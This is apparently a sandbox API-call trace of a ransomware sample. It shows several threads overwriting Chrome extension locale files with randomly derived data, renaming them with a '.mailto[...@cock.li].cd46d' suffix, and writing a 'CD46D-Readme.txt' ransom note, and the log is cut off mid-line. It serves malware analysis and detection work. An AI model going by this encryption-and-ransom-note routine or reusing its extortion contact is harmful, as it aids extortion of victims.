[0201.400] WriteFile (in: hFile=0x115c, lpBuffer=0x1338e000*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x330fab8, lpOverlapped=0x0 | out: lpBuffer=0x1338e000*, lpNumberOfBytesWritten=0x330fab8*=0x10b, lpOverlapped=0x0) returned 1 [0203.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1338e000) returned 1 [0203.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f90) returned 1 [0203.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d85f8) returned 1 [0203.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f60) returned 1 [0203.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d85d0) returned 1 [0203.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e180) returned 1 [0203.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e3b0) returned 1 [0203.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93de88) returned 1 [0203.220] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17c) returned 0xd4c75f0 [0203.221] wcscpy (in: _Dest=0xd4c75f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" [0203.221] wcscat (in: _Dest=0xd4c75f0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0203.221] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x330fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.221] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x192) returned 0x935720 [0203.700] FlushFileBuffers (hFile=0x115c) returned 1 [0203.709] CloseHandle (hObject=0x115c) returned 1 [0203.737] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13c) returned 0x9a54b8 [0203.737] wcscpy (in: _Dest=0x9a54b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\" [0203.737] wcscat (in: _Dest=0x9a54b8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\CD46D-Readme.txt" [0203.737] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\cd46d-readme.txt")) returned 0xffffffff [0203.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x970 [0203.760] WriteFile (in: hFile=0x970, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x330fa78, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x330fa78*=0x6fd, lpOverlapped=0x0) returned 1 [0203.776] CloseHandle (hObject=0x970) returned 1 [0203.906] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a54b8) returned 1 [0203.906] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fdd58) returned 1 Thread: id = 8746 os_tid = 0xa78 [0196.461] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json")) returned 0x2020 [0196.461] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json", dwFileAttributes=0x20) returned 1 [0200.384] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd74 [0200.384] GetFileSizeEx (in: hFile=0xd74, lpFileSize=0x552fa00 | out: lpFileSize=0x552fa00*=179) returned 1 [0200.384] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945640 [0200.384] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945578 [0200.384] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9459b0 [0200.384] NtQuerySystemTime (in: CurrentTime=0x552f960 | out: CurrentTime=0x552f960*=132174899749834000) returned 0x0 [0200.384] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x4275cfe8 [0200.384] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0xbfe22fa [0200.384] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x5e2bb6e6 [0200.384] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x6e0bd57b [0200.384] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x1e5749ef [0200.384] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x6cd0f0c8 [0200.384] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x766a5d43 [0200.384] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x1214c25a [0200.384] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x5d224988 [0200.384] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x5ebb730c [0200.384] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x4c64a900 [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x16324f72 [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x3040daa9 [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x41f17e4 [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x392d248f [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x17147f9b [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x4f49b9b8 [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x58e304a0 [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x396bde5c [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x789b2de8 [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x4fee6add [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x3b8eb423 [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x7c8ba618 [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x7914afa5 [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x2684a5e [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x587a42e8 [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x19e00636 [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x49389f99 [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x18ce774b [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x60959278 [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x204249bb [0200.385] RtlRandomEx (in: Seed=0x552f96c | out: Seed=0x552f96c) returned 0x602a146 [0200.397] ReadFile (in: hFile=0xd74, lpBuffer=0x13440108, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x552f95c, lpOverlapped=0x0 | out: lpBuffer=0x13440108*, lpNumberOfBytesRead=0x552f95c*=0xb3, lpOverlapped=0x0) returned 1 [0200.398] SetFilePointerEx (in: hFile=0xd74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.398] WriteFile (in: hFile=0xd74, lpBuffer=0x1344c910*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x552f958, lpOverlapped=0x0 | out: lpBuffer=0x1344c910*, lpNumberOfBytesWritten=0x552f958*=0xb3, lpOverlapped=0x0) returned 1 [0203.463] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945870 [0203.464] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9456e0 [0203.464] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9456e0) returned 1 [0203.464] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1344c910) returned 1 [0203.466] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13440108) returned 1 [0203.467] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8710) returned 1 [0203.467] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9450) returned 1 [0203.467] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x928d68 [0203.468] SetFilePointerEx (in: hFile=0xd74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.468] WriteFile (in: hFile=0xd74, lpBuffer=0x1338e118*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x552f9c0, lpOverlapped=0x0 | out: lpBuffer=0x1338e118*, lpNumberOfBytesWritten=0x552f9c0*=0x10b, lpOverlapped=0x0) returned 1 [0203.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1338e118) returned 1 [0203.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x928cd8) returned 1 [0203.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9456e0) returned 1 [0203.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x928d68) returned 1 [0203.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945870) returned 1 [0203.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945578) returned 1 [0203.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945690) returned 1 [0203.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945938) returned 1 [0203.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17c) returned 0xd4c6390 [0203.670] wcscpy (in: _Dest=0xd4c6390, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" [0203.670] wcscat (in: _Dest=0xd4c6390, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0203.670] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x552f978, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x192) returned 0x935578 [0203.739] FlushFileBuffers (hFile=0xd74) returned 1 [0203.760] CloseHandle (hObject=0xd74) returned 1 [0203.777] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13c) returned 0x9a62d0 [0203.778] wcscpy (in: _Dest=0x9a62d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\" [0203.778] wcscat (in: _Dest=0x9a62d0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\CD46D-Readme.txt" [0203.778] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\cd46d-readme.txt")) returned 0xffffffff [0203.778] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xaf0 [0203.907] WriteFile (in: hFile=0xaf0, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x552f980, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x552f980*=0x6fd, lpOverlapped=0x0) returned 1 [0203.908] CloseHandle (hObject=0xaf0) returned 1 [0203.908] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a62d0) returned 1 [0203.908] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fca20) returned 1 Thread: id = 8747 os_tid = 0x1cb4 [0196.462] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json")) returned 0x2020 [0196.462] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json", dwFileAttributes=0x20) returned 1 [0200.398] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x148c [0200.399] GetFileSizeEx (in: hFile=0x148c, lpFileSize=0x544f894 | out: lpFileSize=0x544f894*=179) returned 1 [0200.399] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945640 [0200.399] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9459b0 [0200.399] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945500 [0200.399] NtQuerySystemTime (in: CurrentTime=0x544f7f4 | out: CurrentTime=0x544f7f4*=132174899749990000) returned 0x0 [0200.399] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x3a55999d [0200.399] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x1448f900 [0200.399] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x3602cc39 [0200.399] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x3448f0c5 [0200.399] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x60ed238a [0200.399] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x707669bc [0200.399] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x718c7ea8 [0200.399] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x5e9e0df3 [0200.399] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x6fa54049 [0200.399] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x1014ca44 [0200.399] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x4530eaf [0200.399] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x65cedb82 [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x36527e6a [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x7666e127 [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x25d7044e [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x708b6d59 [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x4a72e699 [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x5ad22ee3 [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x4444e489 [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x308b6a55 [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x288d0ebc [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x163285c3 [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x1bc5508f [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x22c4cbfc [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x5b8a7ca8 [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x67f84130 [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x3327ee18 [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x2e9d15df [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x5b45c983 [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x538ab645 [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x37590741 [0200.400] RtlRandomEx (in: Seed=0x544f800 | out: Seed=0x544f800) returned 0x17d05c40 [0200.412] ReadFile (in: hFile=0x148c, lpBuffer=0x13459118, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x544f7f0, lpOverlapped=0x0 | out: lpBuffer=0x13459118*, lpNumberOfBytesRead=0x544f7f0*=0xb3, lpOverlapped=0x0) returned 1 [0200.413] SetFilePointerEx (in: hFile=0x148c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.413] WriteFile (in: hFile=0x148c, lpBuffer=0x13465920*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x544f7ec, lpOverlapped=0x0 | out: lpBuffer=0x13465920*, lpNumberOfBytesWritten=0x544f7ec*=0xb3, lpOverlapped=0x0) returned 1 [0201.381] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945618 [0201.381] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945b68 [0201.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945b68) returned 1 [0201.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13465920) returned 1 [0201.391] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13459118) returned 1 [0201.393] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8b48) returned 1 [0201.393] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9498) returned 1 [0201.393] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d88c8 [0201.393] SetFilePointerEx (in: hFile=0x148c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.393] WriteFile (in: hFile=0x148c, lpBuffer=0x12cf6558*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x544f854, lpOverlapped=0x0 | out: lpBuffer=0x12cf6558*, lpNumberOfBytesWritten=0x544f854*=0x10b, lpOverlapped=0x0) returned 1 [0203.156] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6558) returned 1 [0203.156] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8898) returned 1 [0203.156] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945b68) returned 1 [0203.156] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88c8) returned 1 [0203.156] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945618) returned 1 [0203.156] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9459b0) returned 1 [0203.156] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9458e8) returned 1 [0203.156] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945c08) returned 1 [0203.156] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17c) returned 0xd4c7d98 [0203.156] wcscpy (in: _Dest=0xd4c7d98, _Source="C:\\Users\\5p5NrGJn0jS 